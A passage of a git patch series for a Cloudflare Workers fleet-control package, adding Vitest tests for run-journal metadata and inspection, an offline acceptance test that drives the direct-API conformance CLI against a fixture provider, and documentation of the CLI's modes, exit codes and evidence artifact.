{ const after = JSON.parse(await readFile(path, 'utf8')); expect(Object.keys(after)).toEqual([ 'version', + 'createdAt', 'binding', 'invocationCount', 'lastInvocation', @@ -1891,3 +1897,228 @@ describeLinux('durable teardown state', () => { }); }); }); + +describeLinux('CLI metadata and inspection', () => { + it('refuses an invalid mode before creating a base directory or lock', async () => { + const f = await fixture(); + await expect( + openDirectRunState({ + ...f.input, + mode: 'inspect', + } as unknown as Parameters[0]), + ).rejects.toMatchObject({ code: 'invalid-state' }); + await expect(stat(f.base)).rejects.toMatchObject({ code: 'ENOENT' }); + await expect(stat(f.lockPath)).rejects.toMatchObject({ code: 'ENOENT' }); + }); + + it('closes the losing lock and base descriptors and permits a third opener', async () => { + const f = await fixture(); + const holder = await opened({ ...f.input, mode: 'run' }); + const before = readdirSync('/proc/self/fd').length; + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'lock-unavailable' }); + expect(readdirSync('/proc/self/fd').length).toBe(before); + await closed(holder); + await closed(await opened({ ...f.input, mode: 'resume' })); + }); + + it.each([ + 'invocation', + 'bootstrap', + ] as const)('inspects pending %s without mutation and holds the lock until close', async (pending) => { + const f = await fixture(); + const journal = await opened({ ...f.input, mode: 'run' }); + if (pending === 'invocation') await journal.reserveInvocation(f.request()); + else { + await journal.bindBootstrapContext(bootstrapContext(f)); + await journal.beginBootstrapMutation('create-fleet-d1'); + } + await expect(journal.recordResume()).rejects.toMatchObject({ + code: 'outcome-unknown', + }); + const snapshot = journal.snapshot(); + await closed(journal); + const path = join(f.runDirectory, 'journal.json'); + const before = await readFile(path); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'outcome-unknown' }); + const inspection = await inspectDirectRunState({ + ...f.input, + mode: 'inspect', + }); + try { + expect(inspection.snapshot).toEqual(snapshot); + expect(Object.keys(inspection)).toEqual(['snapshot', 'close']); + await expect( + inspectDirectRunState({ ...f.input, mode: 'inspect' }), + ).rejects.toMatchObject({ code: 'lock-unavailable' }); + expect(await readFile(path)).toEqual(before); + } finally { + await inspection.close(); + await inspection.close(); + } + const again = await inspectDirectRunState({ ...f.input, mode: 'inspect' }); + await again.close(); + }); + + it('inspects by content binding and directory, without imposing filename identity', async () => { + const f = await fixture(); + await closed(await opened({ ...f.input, mode: 'run' })); + for (const overrides of [ + { accountId: 'different' }, + { prepared: { ...f.prepared, configSha256: 'e'.repeat(64) } }, + ]) { + await expect( + inspectDirectRunState({ ...f.input, ...overrides, mode: 'inspect' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + } + const alias = join(f.directory, 'alias.json'); + await writeFile(alias, await readFile(f.configPath)); + const inspection = await inspectDirectRunState({ + ...f.input, + configPath: alias, + mode: 'inspect', + }); + await inspection.close(); + const other = join(f.directory, 'other'); + await mkdir(other); + await writeFile(join(other, 'config.json'), await readFile(f.configPath)); + await expect( + inspectDirectRunState({ + ...f.input, + configPath: join(other, 'config.json'), + mode: 'inspect', + }), + ).rejects.toMatchObject({ code: 'run-missing' }); + await writeFile(join(f.runDirectory, 'journal.json'), '{}'); + await expect( + inspectDirectRunState({ ...f.input, mode: 'inspect' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + }); + + it('increments queued resumes without changing other fields', async () => { + const f = await fixture(); + const journal = await opened({ + ...f.input, + mode: 'run', + now: Date.parse('2026-09-13T00:00:00.000Z'), + }); + const before = journal.snapshot(); + expect(before.createdAt).toBe('2026-09-13T00:00:00.000Z'); + await Promise.all([journal.recordResume(), journal.recordResume()]); + const { resumeCount, ...rest } = journal.snapshot(); + expect(resumeCount).toBe(2); + expect(JSON.stringify(rest)).toBe(JSON.stringify(before)); + await closed(journal); + const resumed = await opened({ ...f.input, mode: 'resume' }); + expect(resumed.snapshot().resumeCount).toBe(2); + await resumed.recordResume(); + expect(resumed.snapshot().resumeCount).toBe(3); + }); + + it.each([ + false, + true, + ])('saturates without writing and permits teardown reconciliation (pending=%s)', async (pending) => { + const { f, journal } = await completeScenarioJournal(); + const state = teardownWith((value) => { + if (pending) value.pending = { kind: 'disable-reference-ingress' }; + }); + await journal.recordTeardown(state); + await journal.recordResume(); + expect(journal.snapshot().teardown?.pending).toEqual(state.pending); + await closed(journal); + const path = join(f.runDirectory, 'journal.json'); + const raw = JSON.parse(await readFile(path, 'utf8')); + raw.resumeCount = DIRECT_RUN_MAX_RESUME_COUNT; + await writeFile(path, `${JSON.stringify(raw)}\n`); + const resumed = await opened({ ...f.input, mode: 'resume' }); + const before = await readFile(path); + const snapshot = JSON.stringify(resumed.snapshot()); + await resumed.recordResume(); + expect(await readFile(path)).toEqual(before); + expect(JSON.stringify(resumed.snapshot())).toBe(snapshot); + expect(resumed.snapshot().resumeCount).toBe(DIRECT_RUN_MAX_RESUME_COUNT); + await resumed.recordTeardown( + teardownWith((value) => { + value.receipts.ingress = { ordinal: 1, settledByReread: true }; + }), + ); + expect(resumed.snapshot().teardown?.pending).toBeNull(); + await closed(resumed); + await closed(await opened({ ...f.input, mode: 'resume' })); + }); + + it.each([ + ['createdAt', '2026-09-13T00:00:00Z'], + ['createdAt', '2026-09-13T00:00:00.000+00:00'], + ['createdAt', '2026-02-30T00:00:00.000Z'], + ['createdAt', '2026-09-13T00:00:00.0000Z'], + ['createdAt', '2026-99-99T00:00:00.000Z'], + ['resumeCount', -1], + ['resumeCount', 0.5], + ['resumeCount', 1_000_000], + ])('refuses malformed metadata %s=%s', async (key, value) => { + const f = await fixture(); + await closed(await opened({ ...f.input, mode: 'run' })); + const path = join(f.runDirectory, 'journal.json'); + const raw = JSON.parse(await readFile(path, 'utf8')); + raw[key] = value; + await writeFile(path, JSON.stringify(raw)); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + }); + + it.each([ + 'createdAt', + 'resumeCount', + ])('refuses version-1 journals carrying %s', async (key) => { + const f = await fixture(); + const journal = await opened({ ...f.input, mode: 'run' }); + const { binding, invocationCount, lastInvocation } = journal.snapshot(); + await closed(journal); + await writeFile( + join(f.runDirectory, 'journal.json'), + JSON.stringify({ + version: 1, + binding, + invocationCount, + lastInvocation, + [key]: key === 'createdAt' ? '2026-09-13T00:00:00.000Z' : 0, + }), + ); + await expect( + openDirectRunState({ ...f.input, mode: 'resume' }), + ).rejects.toMatchObject({ code: 'invalid-state' }); + }); + + it('re-emits older metadata-free journals identically and measures the bounded fields', async () => { + const f = await fixture(); + const journal = await opened({ ...f.input, mode: 'run' }); + const { createdAt: _createdAt, ...older } = journal.snapshot(); + await closed(journal); + const path = join(f.runDirectory, 'journal.json'); + const bytes = `${JSON.stringify(older)}\n`; + await writeFile(path, bytes); + const resumed = await opened({ ...f.input, mode: 'resume' }); + expect(`${JSON.stringify(resumed.snapshot())}\n`).toBe(bytes); + expect(await readFile(path, 'utf8')).toBe(bytes); + const timeBytes = Buffer.byteLength( + '"createdAt":"2026-09-13T00:00:00.000Z",', + ); + const countBytes = Buffer.byteLength( + `"resumeCount":${DIRECT_RUN_MAX_RESUME_COUNT},`, + ); + console.log('CLI_METADATA_BYTES', { + timeBytes, + countBytes, + total: timeBytes + countBytes, + }); + expect([timeBytes, countBytes, timeBytes + countBytes]).toEqual([ + 39, 21, 60, + ]); + }); +}); From ef6fec65cd57587a66d297a9c21c715224e9c643 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 14 Sep 2026 06:31:21 +0400 Subject: [PATCH 145/169] test(fleet-control): add the offline acceptance for the direct CLI The direct credentialed conformance CLI has unit suites over its runtime, entry, evidence writer, bootstrap, scenario and teardown, but none of them drives the runtime, bootstrap, scenario and teardown together. This adds one against the direct reference harness and its provider bridge, extends the shared fixture where the CLI's path reaches routes it did not serve, corrects that fixture's terminal-page metadata, and documents the lane. test/direct-credentialed-conformance.acceptance.test.ts starts from a run whose bootstrap receipts are already confirmed, closes the fixture journal, and drives runDirectConformance in child processes with a scoped bridge fetch, a throwing global fetch and a PATH-only environment. The sequence is: a resume that revalidates bootstrap, runs the scenario to its restart point and exits 3 with restart-required evidence and resumeCount 1; a fresh-process resume that completes the scenario, tears down and exits 0 with cleaned evidence, every residual surface at zero, retainedIdentities all null and resumeCount 2; an evidence-only resume over the completed teardown state that makes no provider request, exits 0 and produces evidence equal to the previous file outside finishedAt, mode, exitCode, status, resumeCount and teardownCall, with mode, exitCode and status asserted as resume, 0 and cleaned on both files and teardownCall null; a run mode against the existing run that exits 1 with run-exists; and a concurrent resume against a held lock that exits 1 with lock-unavailable, leaving the run directory listing, the journal bytes and the absent evidence unchanged. It also runs --preflight and --help through the entry and asserts the package and root workspace scripts statically. Bootstrap revalidates its receipts on both live resumes; its create path is not driven. The shared fixture (cloudflare-fetch-fixture.ts, provider-world.ts) gains the account, subdomain, token-attestation and zone reads that bootstrap's context bind performs, zone names and deployment identities on the world records, a D1 name-prefix filter, namespace_id on dispatch rows and previews_enabled on the subdomain POST response. Its terminal numbered-page responses report the requested page rather than page 1. The harness (direct-reference-harness.ts) gains export-bucket creation, object listing, object deletion and bucket deletion, exempts that bucket from the injected read failure, resolves a deployment by its recorded identity, and exposes the version runtime map. docs/fleet-control.md gains a section on running the direct-API credentialed proof: what the offline lane proves and what only a credentialed run can, the configuration and environment variables, the modes and exit codes, the restart-and-resume protocol, the evidence artifact and its allowlist, what a refusal retains, and the non-claims. The package README links it and CLAUDE.md's source map gains a scripts/ row. Co-Authored-By: Claude Fable 5.1 --- docs/fleet-control.md | 57 +++ packages/fleet-control/CLAUDE.md | 2 + packages/fleet-control/README.md | 2 + ...redentialed-conformance.acceptance.test.ts | 396 ++++++++++++++++++ .../test/fixtures/cloudflare-fetch-fixture.ts | 67 ++- .../test/fixtures/direct-reference-harness.ts | 54 ++- .../test/fixtures/provider-world.ts | 5 +- 7 files changed, 555 insertions(+), 28 deletions(-) create mode 100644 packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 9e47a2b2..7d8af19c 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -640,6 +640,63 @@ After both Workers for Platforms deployments decommission, the runner derives th A backend wrapper records a valid, nonempty `wrangler versions list --json` version-ID set immediately before control-secret revocation, after revocation, and before Worker deletion. Secret deletion may add Worker versions, and Wrangler's ten-entry rolling window may remove earlier IDs from later observations. Decommission must still reach `decommissioned`, and the gate re-reads the exported database's immutable ID through Cloudflare to prove absence. Fleet Control uses exact persisted artifact-ID membership as the pre-mutation gate in traffic removal. Before secret mutation and Worker deletion, it separately resolves the persisted artifact with `wrangler versions view`, which is not limited to the ten entries returned by `versions list`, and verifies that every deployed version has the persisted tenant, environment, database, specification, schema, and ingress identity. This live check accepts provider-created version IDs. Deletion also validates ingress and the resource footprint, then verifies full Worker absence. If the proof fails after control-secret deletion begins, the runner validates the same live teardown identity before removing that exact uniquely suffixed Worker and resuming normal database and state cleanup. +## Run the direct-API credentialed proof + +Use the repository's direct-API lane to verify ordinary Worker provisioning, migration interruption and resumption, execution-fence proofs, and teardown. The offline acceptance runs the real runtime through a fixture provider and local workerd, starting from confirmed bootstrap receipts. It exercises bootstrap revalidation and teardown; resource creation and live provider behavior require the credentialed lane. No live acceptance is established until you supply credentials and run it against an account. + +Start with the [direct configuration shape](../packages/fleet-control/scripts/direct-credentialed-conformance.example.json). Supply the reference and tenant artifacts and their digests, an owned hostname, a disposable resource prefix, and explicit request and invocation limits. Keep credentials outside the configuration. For the deployment protocol, follow [Roll out an artifact under the execution fence](#roll-out-an-artifact-under-the-execution-fence). + +Run this lane on Linux from a repository checkout. It uses a filesystem lock and stores the journal and evidence under `.direct-conformance//` beside the configuration file. Preserve that directory and the configuration bytes when resuming. + +Set these environment variables: + +| Variable | Required for | Value | +| --- | --- | --- | +| `FLEET_DIRECT_CONFORMANCE_CONFIG` | Preflight, run, resume | Path to the configuration | +| `CLOUDFLARE_ACCOUNT_ID` | Run, resume | Account identifier | +| `CLOUDFLARE_API_TOKEN` | Run, resume | Provider token | +| `FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET` | Run, resume | Reference-worker invocation secret | + +Values must be nonempty, without surrounding whitespace or control characters. The runner does not load `.env` files or discover a Wrangler login. Help needs no configuration or credentials. + +Validate the local configuration and artifacts before supplying credentials. The default mode is `--preflight`; it constructs no SDK client, takes no run lock, and writes no evidence. The workspace script builds the package before invoking the entry: + +```bash +pnpm fleet-control:credentialed:direct -- --preflight +``` + +After a build, the entry avoids another build for local preflight: + +```bash +node packages/fleet-control/scripts/direct-credentialed-conformance.mjs --preflight +``` + +Start a new run with `--run`. When it exits with `3`, run `--resume` in a fresh process using the same configuration and credentials: + +```bash +pnpm fleet-control:credentialed:direct -- --run +pnpm fleet-control:credentialed:direct -- --resume +``` + +Modes are mutually exclusive. Use `--help` for usage. Live modes require built package output and reject an invocation budget below the scenario floor before acquiring a lock or contacting the provider. Resuming an in-flight scenario spends a bootstrap control read as well as scenario invocations; phase ceilings and remaining-phase reserves also constrain progress. + +| Exit | Meaning | Action | +| --- | --- | --- | +| `0` | Cleaned, or successful preflight/help | Inspect the summary and, for a live run, evidence | +| `1` | Failed, outcome unknown, or run-state refusal | Inspect the refusal and retained identities | +| `2` | Invalid usage, environment, configuration, or live-mode admission | Correct the named input | +| `3` | Restart required | Resume in a fresh process | +| `4` | Resources retained | Use the recorded facts for recovery approval | +| `5` | Evidence failed, or the summary line is withheld because it would contain a credential | With a summary, check `evidenceWritten`; with no output at all, read `evidence.json` directly: its `exitCode` and `status` are the run's own | + +A successful complete teardown makes a later resume evidence-only, with no provider requests and a null `teardownCall`. A recorded teardown refusal re-observes residuals and retains resources instead of advancing into deletion. Pending invocation or bootstrap mutations refuse automated continuation with `outcome-unknown`: inspection validates the journal binding under the same lock, reports retained identities, and writes evidence without mutating the journal. Pending teardown work can resume reconciliation. Concurrent callers fail with `lock-unavailable`; an existing run refuses `--run` with `run-exists`. + +Give `evidence.json` to the recovery approval. Its allowlist projects configuration and artifact digests, versions, times, resume and invocation counts, dispatch classification, scenario failures and proofs, teardown receipts and residual counts, the current teardown call, and retained resource identities. Account and zone identifiers are represented by hash suffixes; cost remains `unknown`. The journal retains residual names that evidence omits. Top-level `status` describes cleanup disposition, while `scenario.failure` describes the scenario outcome; `teardownCall` records the current call separately from durable teardown state. + +The writer scans decoded string values and serialized bytes for credentials and forbidden literals. It writes with mode `0600`, verifies a temporary file by reading it back, and replaces the artifact atomically before syncing the directory. A failure before replacement leaves an older artifact untouched and reports `evidenceWritten: false`; a directory-sync failure after replacement reports `true` with durability unconfirmed. Summaries and refusals exclude raw provider errors, credentials, headers, and bodies. + +Treat residual inventory according to its recorded scope: `SinglePage` surfaces are not provably exhaustive, and the global bucket count covers the `default` jurisdiction. Offline results do not establish live resource creation, live account cleanup, or recovery authorization. + ## Preserve the control-plane boundary Keep these constraints in every operator surface: diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index 86ea1740..c7019a0c 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -13,6 +13,8 @@ Public behavior: Source map: +- `scripts/`: repository conformance tooling; `direct-credentialed-conformance.mjs` is the direct-API CLI entry, with runtime orchestration, journal, evidence, bootstrap, scenario, and teardown modules beside it + - `provision.ts`, `decommission-advance.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines (the Worker-safe bounded normal coordinator is isolated in `decommission-advance.ts`; the root-only bounded switch coordinator remains in `backend-switch.ts`) - `workers-for-platforms-backend.ts`, `plain-worker-backend.ts`, `wrangler-loop-backend.ts`, `cloudflare-api-plain-worker-backend.ts`: provisioning backends (the Workers for Platforms backend, the shared ordinary-Worker core, and its Wrangler and direct-API adapters) - `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers) and its shared quota fence diff --git a/packages/fleet-control/README.md b/packages/fleet-control/README.md index ffe17cc5..50a3bc47 100644 --- a/packages/fleet-control/README.md +++ b/packages/fleet-control/README.md @@ -96,6 +96,8 @@ Run the package checks with: pnpm fleet-control:check ``` +The repository also includes a Linux-only [direct-API credentialed proof](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#run-the-direct-api-credentialed-proof). Run `pnpm fleet-control:credentialed:direct -- --preflight` for local validation, then use `--run` and a fresh-process `--resume` after exit `3`. Offline acceptance starts from confirmed receipts and verifies bootstrap revalidation, scenario execution, and teardown against local workerd; resource creation and live provider behavior require credentials. The guide documents the configuration, environment, exit codes, and `evidence.json` artifact for recovery approval. + The paid namespace gate uses [`scripts/credentialed-conformance.example.json`](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/fleet-control/scripts/credentialed-conformance.example.json) as its configuration shape. The configuration must declare `contractVersion: 1`, two trusted state profiles, the audit queue, positive CPU and subrequest limits, and allowed and denied upstream URLs. Structural validation checks the versioned configuration, required environment values, and private-key shape before artifact reads or fleet imports. The runner then builds both deployment specifications and trusted profiles. Production specification, secret, profile, migration, route, date, and canonical JSON Web Key (JWK) validators check both releases before the runner constructs a Cloudflare client or provisioning backend. Supply separate bundles for the external candidate and both trusted state versions. Each routed candidate must implement the v1 action endpoint at `conformance.httpPath` and the WebSocket endpoint at `conformance.webSocketPath`. The action endpoint accepts JSON with `contractVersion: 1`, an `action`, and the fields listed in [Implement the artifact contract](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/fleet-control.md#implement-the-artifact-contract). Every JSON response repeats the exact version and action. The WebSocket endpoint accepts the same envelope as its first frame and echoes the nonce in its response frame. diff --git a/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts b/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts new file mode 100644 index 00000000..82e94583 --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-conformance.acceptance.test.ts @@ -0,0 +1,396 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { spawn } from 'node:child_process'; +import { existsSync } from 'node:fs'; +import { readdir, readFile, stat, unlink, writeFile } from 'node:fs/promises'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterEach, beforeAll, describe, expect, it } from 'vitest'; +import type { runDirectConformance } from '../scripts/direct-credentialed-conformance-runtime.mjs'; +import { + DIRECT_EVIDENCE_LITERALS, + scanDirectEvidence, +} from '../scripts/direct-credentialed-evidence.mjs'; +import { + DIRECT_RESIDUAL_SURFACES, + openDirectRunState, +} from '../scripts/direct-credentialed-run-state.mjs'; +import { directObservationFixture } from './fixtures/direct-observations.js'; +import { createDirectReferenceHarness } from './fixtures/direct-reference-harness.js'; + +const cleanup: Array<() => Promise> = []; +const apiToken = 'inert-provider-token'; +const invokeSecret = 'inert-invoke'; +const moduleUrl = (name: string) => + new URL(`../scripts/${name}.mjs`, import.meta.url).href; + +afterEach(async () => { + for (const close of cleanup.splice(0).reverse()) await close(); +}); + +async function childProcess(args: string[], env: NodeJS.ProcessEnv = {}) { + const child = spawn(process.execPath, args, { + env: { PATH: process.env.PATH, ...env }, + stdio: ['ignore', 'pipe', 'pipe'], + }); + let stdout = ''; + let stderr = ''; + child.stdout.on('data', (chunk) => { + stdout += String(chunk); + }); + child.stderr.on('data', (chunk) => { + stderr += String(chunk); + }); + const status = await new Promise((resolve, reject) => { + const timer = setTimeout(() => { + child.kill('SIGKILL'); + }, 840_000); + child.once('error', (error) => { + clearTimeout(timer); + reject(error); + }); + child.once('close', (code) => { + clearTimeout(timer); + resolve(code); + }); + }); + return { status, stdout, stderr }; +} + +async function fixture() { + const local = await directObservationFixture(30_000, 'confirmed', { + invocationTimeoutMs: 600_000, + maxProviderRequests: 1000, + }); + cleanup.push(() => local.close()); + const native = await createDirectReferenceHarness({ + manifest: local.prepared.manifest, + binding: { + version: 1, + accountId: 'account', + fleetDatabaseId: 'fleet-id', + quotaDatabaseId: 'quota-id', + exportBucketName: local.prepared.names.exportBucket, + referenceModuleSetSha256: local.prepared.referenceModuleSetSha256, + accountWorkersDevSubdomain: 'attested-account', + }, + maintenanceNow: Date.now, + applicationProbes: true, + nodeProviderRest: true, + }); + cleanup.push(() => native.close()); + const bootstrap = local.journal.snapshot().bootstrap; + if ( + !bootstrap?.fleet || + !bootstrap.quota || + !bootstrap.exports || + !bootstrap.active + ) + throw new Error('confirmed fixture receipts absent'); + native.world.zones.push({ + id: 'zone', + name: local.prepared.config.ownedHostname, + }); + for (const receipt of [bootstrap.fleet, bootstrap.quota]) + native.world.seedDatabase(receipt.name, { databaseId: receipt.uuid }); + native.buckets.set(`default:${bootstrap.exports.name}`, { + name: bootstrap.exports.name, + jurisdiction: bootstrap.exports.jurisdiction, + creation_date: bootstrap.exports.creationDate, + }); + const bindings = [ + { name: 'FLEET_DB', type: 'd1', database_id: bootstrap.fleet.uuid }, + { name: 'QUOTA_DB', type: 'd1', database_id: bootstrap.quota.uuid }, + { name: 'EXPORTS', type: 'r2_bucket', bucket_name: bootstrap.exports.name }, + { + name: 'DIRECT_RUN_BINDING', + type: 'plain_text', + text: JSON.stringify(native.binding), + }, + ...[ + 'CLOUDFLARE_API_TOKEN', + 'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET', + 'DIRECT_DEPLOYMENT_SECRETS', + ].map((name) => ({ name, type: 'secret_text' })), + ]; + native.world.seedScript(local.prepared.names.referenceWorker, { + versions: [ + { + versionId: bootstrap.active.versionId, + tag: undefined, + bindings, + mainModule: 'worker.js', + modules: [], + }, + ], + deployment: [{ versionId: bootstrap.active.versionId, percentage: 100 }], + deploymentId: bootstrap.active.deploymentId, + subdomain: { enabled: true, previewsEnabled: false }, + }); + const runtime = local.prepared.config.referenceWorker; + native.versionRuntime.set(bootstrap.active.versionId, { + compatibility_date: runtime.compatibilityDate, + compatibility_flags: runtime.compatibilityFlags, + limits: { + cpu_ms: runtime.cpuLimitMs, + subrequests: runtime.subrequestLimit, + }, + }); + await local.journal.close(); + return { local, native }; +} + +async function drive( + f: Awaited>, + mode: 'run' | 'resume', +) { + const script = join(f.local.directory, 'runtime.mjs'); + await writeFile( + script, + ` +import { runDirectConformance } from ${JSON.stringify(moduleUrl('direct-credentialed-conformance-runtime'))}; +const originalFetch = globalThis.fetch; +let requests = 0; +const fetch = async (input, init) => { + const request = new Request(input, init); + const url = new URL(request.url); + if (url.origin !== 'https://api.cloudflare.com' && url.origin !== ${JSON.stringify(`https://${f.local.prepared.names.referenceWorker}.attested-account.workers.dev`)}) + throw new Error('unexpected child origin'); + requests += 1; + const headers = new Headers(request.headers); + headers.set('X-Direct-Fixture-Url', request.url); + return originalFetch(${JSON.stringify(f.native.bridgeUrl)}, { method: request.method, headers, body: request.body, signal: request.signal, redirect: 'manual', duplex: 'half' }); +}; +globalThis.fetch = async () => { throw new Error('unexpected child network'); }; +const result = await runDirectConformance({ + mode: ${JSON.stringify(mode)}, configPath: ${JSON.stringify(f.local.configPath)}, + env: { CLOUDFLARE_ACCOUNT_ID: 'account', CLOUDFLARE_API_TOKEN: ${JSON.stringify(apiToken)}, FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: ${JSON.stringify(invokeSecret)} }, fetch, +}); +console.log('CLI_RESULT ' + JSON.stringify({ result, requests })); +process.exitCode = result.exitCode; +`, + ); + const child = await childProcess([script]); + expect(child.stderr).toBe(''); + const lines = child.stdout + .split('\n') + .filter((line) => line.startsWith('CLI_RESULT ')); + expect(lines, child.stdout).toHaveLength(1); + const parsed = JSON.parse(lines[0]?.slice('CLI_RESULT '.length) ?? '') as { + result: Awaited>; + requests: number; + }; + expect(child.status).toBe(parsed.result.exitCode); + return { ...parsed, status: child.status }; +} + +describe.sequential('direct credentialed CLI native offline acceptance', { + timeout: 900_000, +}, () => { + beforeAll(() => { + expect( + existsSync(new URL('../dist/index.js', import.meta.url)), + 'run pnpm --filter @proofoftech/fleet-control build before acceptance', + ).toBe(true); + }); + + it('revalidates, restarts, cleans, rereads evidence, and refuses existing runs and concurrent resumes', async () => { + const f = await fixture(); + const directory = join( + f.local.directory, + '.direct-conformance', + f.local.prepared.config.resourcePrefix, + ); + const evidencePath = join(directory, 'evidence.json'); + const evidence = async () => + JSON.parse(await readFile(evidencePath, 'utf8')); + const first = await drive(f, 'resume'); + expect( + first.result, + JSON.stringify({ + bridgeErrors: f.native.bridgeErrors, + requests: f.native.projection.requests + .slice(-12) + .map(({ method, url }) => ({ method, url })), + result: first.result.summary, + }), + ).toMatchObject({ exitCode: 3 }); + const interrupted = await evidence(); + expect(interrupted).toMatchObject({ + status: 'restart-required', + resumeCount: 1, + }); + const second = await drive(f, 'resume'); + expect( + second.result, + JSON.stringify({ + bridgeErrors: f.native.bridgeErrors, + requests: f.native.projection.requests + .slice(-12) + .map(({ method, url }) => ({ method, url })), + result: second.result.summary, + }), + ).toMatchObject({ exitCode: 0 }); + const cleaned = await evidence(); + expect(cleaned).toMatchObject({ + status: 'cleaned', + resumeCount: 2, + teardownCall: { status: 'cleaned' }, + teardown: { phase: 'complete', failure: null }, + }); + expect(Object.keys(cleaned.teardown.receipts).sort()).toEqual( + [ + 'ingress', + 'worker', + 'fleet', + 'quota', + 'exports', + 'exportObjects', + ].sort(), + ); + for (const key of ['ingress', 'fleet', 'quota', 'exports']) + expect(cleaned.teardown.receipts[key]).toMatchObject({ + settledByReread: false, + }); + expect(cleaned.teardown.receipts.worker).toMatchObject({ + settledByReread: false, + secretNameCount: 3, + }); + expect(cleaned.teardown.receipts.exportObjects).toMatchObject({ + count: 2, + settledByReread: 0, + }); + const residual = cleaned.teardown.residual; + expect(residual).toMatchObject({ + bucketJurisdictions: ['default'], + settleAttempts: 1, + }); + expect(Object.keys(residual.surfaces).sort()).toEqual( + [...DIRECT_RESIDUAL_SURFACES].sort(), + ); + for (const surface of Object.values(residual.surfaces) as Array<{ + prefixCount: number; + globalCount: number; + }>) { + expect(surface.prefixCount).toBe(0); + expect(surface.globalCount).toBe(0); + } + expect(residual.dispatch.prefixCount).toBe(0); + expect(residual.versionsGone).toBe(true); + expect(residual.dispatch.kind).toBe('empty'); + expect(residual.dispatch.count).toBe(0); + expect(cleaned.retainedIdentities).toEqual({ + fleetUuid: null, + quotaUuid: null, + exportBucket: null, + scriptName: null, + activeVersionId: null, + }); + expect((await stat(evidencePath)).mode & 0o777).toBe(0o600); + expect(await readdir(directory)).not.toEqual( + expect.arrayContaining([expect.stringMatching(/\.tmp$/u)]), + ); + expect( + scanDirectEvidence(cleaned, { + secrets: [apiToken, invokeSecret], + literals: DIRECT_EVIDENCE_LITERALS, + }), + ).toBeNull(); + const third = await drive(f, 'resume'); + expect(third).toMatchObject({ status: 0, requests: 0 }); + const reread = await evidence(); + expect(reread).toMatchObject({ resumeCount: 3, teardownCall: null }); + const mask = new Set([ + 'finishedAt', + 'mode', + 'exitCode', + 'status', + 'resumeCount', + 'teardownCall', + ]); + const durable = (value: object) => + Object.fromEntries( + Object.entries(value).filter(([key]) => !mask.has(key)), + ); + for (const document of [cleaned, reread]) + expect(document).toMatchObject({ + mode: 'resume', + exitCode: 0, + status: 'cleaned', + }); + expect(durable(reread)).toEqual(durable(cleaned)); + await unlink(evidencePath); + const journalPath = join(directory, 'journal.json'); + const before = await readFile(journalPath, 'utf8'); + const siblings = await readdir( + join(f.local.directory, '.direct-conformance'), + ); + const fourth = await drive(f, 'run'); + expect(fourth).toMatchObject({ + status: 1, + requests: 0, + result: { evidencePath: null, summary: { code: 'run-exists' } }, + }); + expect(existsSync(evidencePath)).toBe(false); + const holder = await openDirectRunState({ + configPath: f.local.configPath, + prepared: f.local.prepared, + accountId: 'account', + mode: 'resume', + }); + let fifth: Awaited>; + try { + fifth = await drive(f, 'resume'); + expect(fifth).toMatchObject({ + status: 1, + requests: 0, + result: { evidencePath: null, summary: { code: 'lock-unavailable' } }, + }); + expect(existsSync(evidencePath)).toBe(false); + expect(await readFile(journalPath, 'utf8')).toBe(before); + expect( + await readdir(join(f.local.directory, '.direct-conformance')), + ).toEqual(siblings); + } finally { + await holder.close(); + } + expect(f.native.bridgeErrors).toEqual([]); + process.stdout.write( + `CLI_ACCEPTANCE ${JSON.stringify({ exits: [first.status, second.status, third.status, fourth.status, fifth.status], statuses: [interrupted.status, cleaned.status, reread.status, null, null], resumeCounts: [interrupted.resumeCount, cleaned.resumeCount, reread.resumeCount], residual, retainedIdentities: cleaned.retainedIdentities, evidenceOnlyEqual: true, teardownCall: reread.teardownCall, refusalEvidenceAbsent: true })}\n`, + ); + }); + + it('runs the real entry for preflight and help and pins both workspace scripts', async () => { + const local = await directObservationFixture(); + cleanup.push(() => local.close()); + const entry = fileURLToPath( + new URL( + '../scripts/direct-credentialed-conformance.mjs', + import.meta.url, + ), + ); + const preflight = await childProcess([entry, '--preflight'], { + FLEET_DIRECT_CONFORMANCE_CONFIG: local.configPath, + }); + expect(preflight.status).toBe(0); + expect(preflight.stderr).toBe(''); + expect(preflight.stdout.trim().split('\n')).toHaveLength(1); + expect(preflight.stdout).toMatch(/^DIRECT_CONFORMANCE /u); + const help = await childProcess([entry, '--help']); + expect(help.status).toBe(0); + expect(help.stderr).toBe(''); + expect(help.stdout).toContain('--resume'); + const manifest = JSON.parse( + await readFile(new URL('../package.json', import.meta.url), 'utf8'), + ); + const root = JSON.parse( + await readFile(new URL('../../../package.json', import.meta.url), 'utf8'), + ); + expect(manifest.scripts['test:credentialed:direct']).toBe( + 'pnpm build && node scripts/direct-credentialed-conformance.mjs', + ); + expect(root.scripts['fleet-control:credentialed:direct']).toBe( + 'pnpm --filter @proofoftech/fleet-control 